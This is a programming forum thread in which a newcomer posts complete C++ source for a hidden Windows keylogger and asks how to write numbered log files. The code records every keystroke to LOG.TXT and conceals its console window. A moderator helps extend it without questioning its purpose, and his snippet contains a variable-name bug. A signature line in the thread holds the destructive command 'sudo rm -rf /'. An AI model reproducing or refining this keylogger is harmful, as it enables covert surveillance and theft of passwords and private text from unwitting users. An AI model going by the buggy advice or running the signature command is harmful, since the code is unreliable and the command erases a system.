Jump to content

Non-constant file name

- - - - -

  • Please log in to reply
5 replies to this topic

#1
Jyggalag

Jyggalag

    Newbie

  • Members
  • Pip
  • 3 posts
How do I have a non constant file name? I'm trying to get it to save file1.txt, file2.txt etc


Also, what is deprecated in this bit of code and how can I replace it:

Save (i, "FILE.TXT");

Edited by Jyggalag, 14 April 2011 - 08:57 PM.


#2
Alexander

Alexander

    It's Science!

  • Moderators
  • 4,118 posts
  • Location:Vancouver, Eh! Cleverness: 200
You will be working with strings in this case, I see the most logical option to be sprintf. You have not stated your language so I will assume you are using C.

int file = 2;
char filename[16];
sprintf(filename, "file%i.txt", file); //filename will be "file2" now.
An example in a loop:
int i;
for (i = 0; i < 10; i++) {
     char filename[16];
     sprintf(filename, "file%i.txt" , i);
     printf("%s\n", filename);
}
This example relies on the fact that filename is in the stack, and can will be deallocated each iteration of the loop.

I am unsure of how you are actually going to be using this dynamic string, so if you could provide a better background I am sure I could show a better solution.

Edit: What is this Save() function? This appears to not be a standard function, so I am unsure of what is deprecated.
Be sure to read the updated FAQ! || Health is achieved through the same 10,000 steps.
If a suggested code/method fails, informing us is less important than telling us why or what errors occurred.

#3
Jyggalag

Jyggalag

    Newbie

  • Members
  • Pip
  • 3 posts
Sorry about that. I'm new here. I'm using c++. Here's my code. yes, I do know what it is, I'm trying to show my friend that its better to make it in c++ than vb.


#include <stdio.h>

using namespace std;

#include <windows.h>

#include <Winuser.h>

#include <iostream>



int Save (int key_stroke, char *file);

void Stealth ();

int main()

{

    Stealth();

    char i;


    while (1)

    {

     for (i = 8; i <= 190; i++)

     {

      if (GetAsyncKeyState (i) == -32767)

        Save (i, "LOG.TXT");

      }

     }

   system ("PAUSE");

    return 0;

}

/* ************************************************* */

/* ************************************************* */

int Save (int key_stroke, char *file)

{

    if ( (key_stroke == 1) || (key_stroke == 2))

        return 0;


    FILE *OUTPUT_FILE;

    OUTPUT_FILE = fopen (file, "a+");

    cout << key_stroke << endl;


    if (key_stroke == 8)

        fprintf(OUTPUT_FILE, "%s", "[backspace]");

    else if (key_stroke == 13)

        fprintf(OUTPUT_FILE, "%s", "[\n]");

    else if (key_stroke == 32)

        fprintf(OUTPUT_FILE, "%s", " ");

    else if (key_stroke == VK_TAB)

        fprintf(OUTPUT_FILE, "%s", "[TAB]");

    else if (key_stroke == VK_SHIFT)

        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");

    else if (key_stroke == VK_CONTROL)

        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");

    else if (key_stroke == VK_ESCAPE)

        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");

    else if (key_stroke == VK_END)

        fprintf(OUTPUT_FILE, "%s", "[END]");

    else if (key_stroke == VK_HOME)

        fprintf(OUTPUT_FILE, "%s", "[HOME]");

    else if (key_stroke == VK_LEFT)

        fprintf(OUTPUT_FILE, "%s", "[LEFT]");

    else if (key_stroke == VK_RIGHT)

        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");

    else if (key_stroke == VK_UP)

        fprintf(OUTPUT_FILE, "%s", "[UP]");

    else if (key_stroke == VK_DOWN)

        fprintf(OUTPUT_FILE, "%s", "[DOWN]");

    else if (key_stroke == 190 || key_stroke == 110)

        fprintf(OUTPUT_FILE, "%s", ".");

    else

    fprintf(OUTPUT_FILE, "%s", &key_stroke);

        fclose(OUTPUT_FILE);

    return 0;

}

/* ************************************************* */

/* ************************************************* */

void Stealth ()

{

    HWND stealth;

    AllocConsole();

    stealth = FindWindowA("consoleWindowClass", NULL);

    ShowWindow(stealth, 0);

}



#4
Alexander

Alexander

    It's Science!

  • Moderators
  • 4,118 posts
  • Location:Vancouver, Eh! Cleverness: 200
Ah, char can be const char inside your save function's parameters, that is what may had been deprecated. This is due to the fact you will be sending in a copy of a string that cannot be modified.

As your save function will accept a character string, you can simply create it each loop with the aforementioned sprintf function:
for (i = 8; i <= 190; i++)
     {
  char filenamebuf[64];
  sprintf(buf, "LOG%i.TXT", i);
  if (GetAsyncKeyState (i) == -32767)
        Save (i, filenamebuf);
      }
     }

Be sure to read the updated FAQ! || Health is achieved through the same 10,000 steps.
If a suggested code/method fails, informing us is less important than telling us why or what errors occurred.

#5
Jyggalag

Jyggalag

    Newbie

  • Members
  • Pip
  • 3 posts
Thanks! I have one more question. It says 'buf' is not included in this scope. how can I fix that? (sorry for my many questions, I'm a complete newbie)

#6
dargueta

dargueta

    Writes binary right handed and hex left handed

  • Moderators
  • 4,718 posts
  • Programming Language:C, Java, C++, PHP, Python, Perl, Assembly, Bash, Others
  • Learning:JavaScript
Pass it into the function as a parameter.
sudo rm -rf /




1 user(s) are reading this topic

0 members, 1 guests, 0 anonymous users